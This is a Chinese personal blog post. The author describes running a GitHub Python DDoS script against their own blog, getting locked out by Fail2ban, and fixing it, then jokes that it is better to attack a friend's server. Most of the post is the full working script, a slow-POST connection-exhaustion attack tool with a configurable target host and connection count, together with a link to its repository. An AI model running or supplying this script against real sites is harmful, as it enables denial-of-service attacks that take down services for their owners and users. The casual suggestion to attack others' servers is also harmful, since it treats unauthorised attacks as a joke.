最近闲着没事去GitHub找了个贼简单的Py DDOS脚本,我作死把最大连接数(攻击次数)改成了250,然后网站选择的是我的博客,结果我电脑和我手机全都打不开博客了() 不知道为啥其他的网站都打不开了,还好宝塔打得开,我就翻来翻去,最后找到了“罪魁祸首”——Fail2ban防爆破
虽然但是黑名单里没我ip,但是我还是把这个服务关了,结果就好了……
重新启动这个服务之后,又访问不上网站了……
最后把这玩意卸了再重装一遍就没事了
所以霉逝不要打自己服务器,最好打好基友的(doge)
下面放上GitHub的那个DDOS脚本:
#ddos攻击脚本 python3.6
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
#最大连接数(修改攻击次数),还有端口
MAX_CONN=10
PORT=80
#选择攻击的网站域名
#HOST="www.baidu.com"
HOST="网站域名"
PAGE="/index.php"
#--------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
GitHub原仓库在这:https://github.com/lovesick-LS/ddos_python
哈哈哈真水呢